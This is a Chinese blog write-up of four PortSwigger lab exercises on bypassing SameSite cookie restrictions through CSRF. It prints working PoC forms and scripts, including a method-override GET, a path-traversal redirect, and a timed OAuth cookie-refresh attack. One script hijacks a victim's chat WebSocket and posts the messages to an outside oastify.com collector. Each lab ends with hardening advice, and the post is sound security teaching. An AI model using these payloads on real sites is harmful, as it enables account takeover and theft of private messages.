CSRF之samesite浅析

  • Post author:
  • Post category:其他


之前portswigger出了4个新的靶场关于csrf的samesite,打靶场的时候还没有wp,由于发现的有些晚,导致排名略靠后,目前为全球第三十名。本文的主要内容即为关于这四个靶场的wp。

图片


01、使用 GET 请求绕过同站点宽松限制


  • 必要知识点

自 2021 年起,如果发布 Cookie 的网站未明确设置自己的限制级别,Chrome浏览器会默认应用SameSite=Lax。例如:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Lax

设置了Lax,意味着限制了浏览器将在跨站点请求中发送 cookie,不过Lax代表的是宽松的限制策略,不会限制跨站点GET方法,会限制跨站点的POST方法。



Lab: SameSite Lax bypass via method override



实验室:通过方法覆盖绕过同站点松懈

链接:

实验室:通过方法覆盖|绕过同站点松懈网络安全学院 (portswigger.net)https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite

首先我们通过链接启动该靶场。该靶场要求通过csrf修改他人的邮箱。

因为涉及到的是csrf的攻击,首先我们要登录自己的账号,利用提供的账号密码wiener:peter。

图片

登录之后任意修改邮箱一次(获取对应的数据包)。

图片

通过burp历史记录进行查看,找到对应的修改数据包发送到重放模块。这时我们会发现cookie是没有携带任何附加值的。

图片

直接用burp制作一个csrf的请求数据包(设置自动提交)。

图片

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://0a1800d003104112c0610cf7001300fc.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="b&#64;b" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
</script>
  </body>
</html>

放到burp自带的利用浏览器,自己进行尝试,是否会修改邮箱。

图片

用View exploit进行利用的过程中,发现跳转到了login界面没有进行修改。

图片

这涉及到了前文提到的“Chrome 在设置 Cookie 时未明确提供属性的情况下应用的默认限制”,这样会使得POST提交的数据包不携带cookie。

因此我们修改提交的数据包,尝试将mode从POST改为了GET,发现模式不允许。

图片

构造GET跳转请求进行尝试,发现可以直接进行跳转:

<script>
    document.location = 'https://0a5b00cd03e932bac204ef11005a0004.web-security-academy.net/my-account';
</script>

图片

修改请求数据包,提供重写请求行中指定方法的方法。这样就可以通过GET请求绕过请求限制,之后重写成POST方法提交邮箱修改。

<script>history.pushState('', '', '/')</script>
    <form action="https://0a5b00cd03e932bac204ef11005a0004.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="11@11" >
    </form>
    <script>
      document.forms[0].submit();
</script>

通过测试发现可以携带cookie进行尝试。之后我们将数据包发给受害者,成功完成实验。

图片


加固方案

该问题是因为网站提交表单部分利用了某些框架,对应框架支持重写请求中指定方法的方法,因此我们要禁止对应的重写方法,如实验室中支持_method参数:

<input type="hidden" name="_method" value="GET">


02、使用重定向绕过同网站限制


  • 必要知识点

如果网站有明确的cookie限制,设置了SameSite=Strict,浏览器将不会将cookie包含任何跨站点请求,但是对于同网站的请求是允许的。



Lab: SameSite Strict bypass via client-side redirect



通过客户端重定向严格绕过同站点

链接:

Lab: SameSite Strict bypass via client-side redirect | Web Security Academy (portswigger.net)
https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-client-side-redirect

首先我们通过链接启动该靶场。该靶场要求通过csrf修改他人的邮箱。

因为涉及到的是csrf的攻击,首先需要登录自己的账号,利用提供的账号密码wiener:peter。

老规矩,登陆后修改自己的邮箱,利用burp历史记录进行查看分析。首先发现在登录的时候设置了SameSite=Strict。

图片

这说明不能和之前一样利用GET进行绕过,需要利用同网站其他缺陷进行组合使用。

开始查看文章的各个功能点(优先寻找重定向)。测试功能点发现提交完评论之后会有302重定向。

图片

存在一处js负责处理跳转链接:

图片

重定向之后的链接会通过js处理自动跳转:

图片

因此尝试此功能点是否可控,任意修改参数postId:

图片

发现成功,那么我们是否大胆点,尝试目录遍历攻击../ 。

图片

发现访问对应url之后会回到首先,说明存在目录遍历攻击。尝试删除cookie使用该功能点,发现依旧成功。

图片

但是重定向的话只适用于GET传参,我们回到之前修改邮箱的部分:

图片

将POST修改成GET尝试,发现可以利用GET进行修改邮箱。

图片

那么利用之前的功能点,我们就可以组合打出重定向利用csrf,构造对应poyload:

/post/comment/confirmation?postId=../../../my-account/change-email?email=111@111&submit=1

访问之后发现了新的问题,发现被吃掉了一个传参。

图片

通过实验发现了会吃掉&后面的内容,又或者说只认识ID传参。思考了很久尝试使用编码绕过,利用url编码将&变成%26:

图片

成功构造poyload:

<script>
    document.location = 'https://0a7f009c041d9066c0de409900a7007e.web-security-academy.net/post/comment/confirmation?postId=../../../../../my-account/change-email?email=1@111%26submit=1';
</script>

利用漏洞利用服务器发给受害者。

图片

完成实验。

图片


加固方案

SameSite=Strict已经是非常严格的cookie限制,这种情况下利用csrf的话一般是需要组合网页内存在的其他问题。因此本实验室的加固方案可以从组合的重定向入手,让重定向依托于URL,而不让用户可控。


03、通过易受攻击的同级域绕过同站点限制


  • 必要知识点

了解同源的概念以及WebSockets。构造跨站点WebSocket劫持(CSWSH)的攻击。



Lab: SameSite Strict bypass via sibling domain



同站点通过同级域严格绕过

链接:

Lab: SameSite Strict bypass via sibling domain | Web Security Academy (portswigger.net)
https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain

访问靶场之后发现了一处聊天室的功能点:

图片

在里面随便输了点内容:

图片

通常这类功能点和WebSocket有关,我们转到burp的历史查看一下。发现存在Key确实与WebSocket有关。

图片

转到代理部分,发现了刚才发送的历史信息。

图片

通常这类功能点是容易收到xss的攻击的,查看cookie的数据包发现不存在防csrf的token,但存在SameSite=Strict。

图片

查找网站的功能点,存在限制的cookie使得只能利用同域进行攻击。通过查找历史记录,发现了一处同级域:

https://cms-0af4005d04b3c46fc1598fbb000100a1.web-security-academy.net

图片

测试同级域,发现会将输入的username回显出来:

图片

输入poyload存在xss回显,说明存在xss漏洞:

图片

同级域的xss可以取得我们目标网站的信任,那我们可以尝试构造xss+csrf漏洞绕过samesite限制进行跨站点WebSocket劫持。

首先利用协助者获取一个地址:

kui055enew5een7bb1f4u2pzvq1hp7dw.oastify.com

图片

构造基础的劫持poyload:

<script>
 var ws = new WebSocket('wss:// 0a4d00ec0337356bc32a4e1700b800df.web-security-academy.net/chat');
    //建立websocket时自动调用
 ws.onopen = function() {
        
 ws.send("READY");
 };
 //websocket接收到消息时调用
 ws.onmessage = function(event) {
 fetch('https:// kui055enew5een7bb1f4u2pzvq1hp7dw.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
 };
</script>

该脚本会让用户访问chat的聊天室功能,建立WebSocket的链接,并将历史信息发送到我们的协助者。接下来我们访问同级域存在xss的站点。

先将脚本进行url编码:

图片

将存在xss处贴入我们的poyload:

图片

如果用户访问了该网址就会触发,构造对应的csrf自动提交包:

图片

发送给受害者之后,访问我们的协助者查看是否收到发来的信息。

图片

成功获取他人的聊天记录,里面有账号密码,登录完成实验。

图片


加固方案

SameSite=Strict已经是非常严格的cookie限制,与上述同理,这种情况下利用csrf的话一般是需要组合网页内存在的其他问题或者利用同域漏洞。本实验室中在同域的其他地方存在XSS漏洞,因此加固方式是修复另一个网站的XSS,最常见的修复XSS的方法是黑白名单以及输出时进行编码。


04、使用新发布的 cookie 绕过同一站点宽松的限制


  • 必要知识点

为了避免破坏单点登录 (SSO) 机制,Chrome 在设置 Cookie 后的前 120 秒内实际上根本不会强制执行cookie的限制,因此,有一个两分钟的窗口,用户可能容易受到跨站点攻击。



Lab: SameSite Lax bypass via cookie refresh



通过 cookie 刷新的 SameSite 宽松绕过

链接:

Lab: SameSite Lax bypass via cookie refresh | Web Security Academy (portswigger.net)
https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh

首先我们通过链接启动该靶场。该靶场要求通过csrf修改他人的邮箱。

查看cookie应该是默认的LAX 通过OAuth的方式进行了登录:

图片

当我直接用GET的方式,发现存在OAuth的认证,要认证后才能登录。

图片

当我构造csrf包,受害者点击之后也会跳转认证登录界面。

图片

无法直接让受害者修改邮箱该怎么办呢?应该让受害者点击之后→跳转到认证登录→获取2分钟的跨站攻击时间→此时再利用表单进行提交。

这里尝试了js中的弹窗功能:

<script>
window.open('https://www.baidu.com');
</script>

浏览器进行了默认的阻止:

图片

利用window.open事件可以有效的打开新的弹窗(前提是受害者任意点击):


<script>
window.onclick = () => {
    window.open('https://www.baidu.com');
}
</script>

构造对应的csrf攻击包:

<script>
window.onclick = () => {
    window.open('https://0a2700610383354ec04de0f6003700e8.web-security-academy.net/social-login');
}
</script>
 <script>history.pushState('', '', '/')</script>
    <form id="form1" action="https://0a2700610383354ec04de0f6003700e8.web-security-academy.net/my-account/change-email" method="POST" >
      <input type="hidden" name="email" value="babb@bbb" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
</script>

测试发现任意点击之后会跳转到认证界面,但是提交没法做到,尝试修改攻击包。


<script>
window.onclick = () => {
    window.open('https://0a2700610383354ec04de0f6003700e8.web-security-academy.net/social-login');
    document.getElementById('form1').submit();
}
</script>
 <script>history.pushState('', '', '/')</script>
    <form id="form1" action="https://0a2700610383354ec04de0f6003700e8.web-security-academy.net/my-account/change-email" method="POST" >
      <input type="hidden" name="email" value="babb@bbb" />
    </form>

将表单提交添加到了点击事件之中,发现一个问题:认证需要一定的时间,同时触发跳转认证以及提交表单,认证功能还未开始,表单无法提交。

因此要差异化进行,再次修改脚本,利用延时,先打开cookie加载,在直接跳转到csrf提交表单:


<script>
window.onclick = () => {
    window.open('https://0a2700610383354ec04de0f6003700e8.web-security-academy.net/social-login');
    function a(){document.getElementById('form1').submit();}setTimeout(a,10000);
}
</script>
 <script>history.pushState('', '', '/')</script>
    <form id="form1" action="https://0a2700610383354ec04de0f6003700e8.web-security-academy.net/my-account/change-email" method="POST" >
      <input type="hidden" name="email" value="babb@bbb" />
    </form>

按照这样自定义了一个函数做到打开social-login进行编辑,然后延时10秒提交。发送给受害者,完成实验。

图片


加固方案

该漏洞利用了SSO中Chrome 在设置 Cookie的机制,本质上是利用了CSRF,因此针对CSRF,最常见的修复方式是使用Token令牌进行二次验证。



版权声明:本文为qq_61812944原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。